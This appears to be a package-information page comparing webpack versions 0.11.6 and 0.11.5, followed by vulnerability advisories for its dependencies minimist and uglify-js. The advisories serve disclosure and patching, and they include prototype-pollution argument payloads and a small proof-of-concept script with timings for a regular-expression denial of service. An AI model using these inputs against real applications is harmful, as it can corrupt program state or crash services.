Webpack versions 0.11.6 and 0.11.5, both released in November 2013, offer similar functionality as module bundlers for the browser, enabling developers to pack CommonJs, AMD, and labeled modules into bundles, facilitating code splitting and on-demand loading. They both support loaders that preprocess various file types like JSON, Jade, Coffee, CSS, and Less. The dependency structures are identical, featuring essential libraries such as async, clone, mkdirp, esprima, tapable, optimist, uglify-js, webpack-core, base64-encode, enhanced-resolve, and node-libs-browser. Similarly, the development dependencies, which are crucial for testing and extending webpack's capabilities, are also the same, including tools like mocha, should, express, and various loaders for CSS, raw files, and more. The core functionalities and support for loaders remain consistent, ensuring a seamless transition between the versions for most users.
The most notable difference lies in the release dates; version 0.11.6 was published on November 8, 2013, while version 0.11.5 was released on November 6, 2013. This suggests that version 0.11.6 likely incorporates bug fixes or minor enhancements accumulated within those two days. While the changelog isn't provided, developers upgrading from 0.11.5 to 0.11.6 could anticipate potential stability improvements or fixes for recently discovered issues. For developers starting a new project, opting for the slightly newer version, 0.11.6, would generally be recommended due to the presumed improvements, however incremental. Both versions are quite old and should not be used, unless strictly necessary.
All the vulnerabilities related to the version 0.11.6 of the package
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.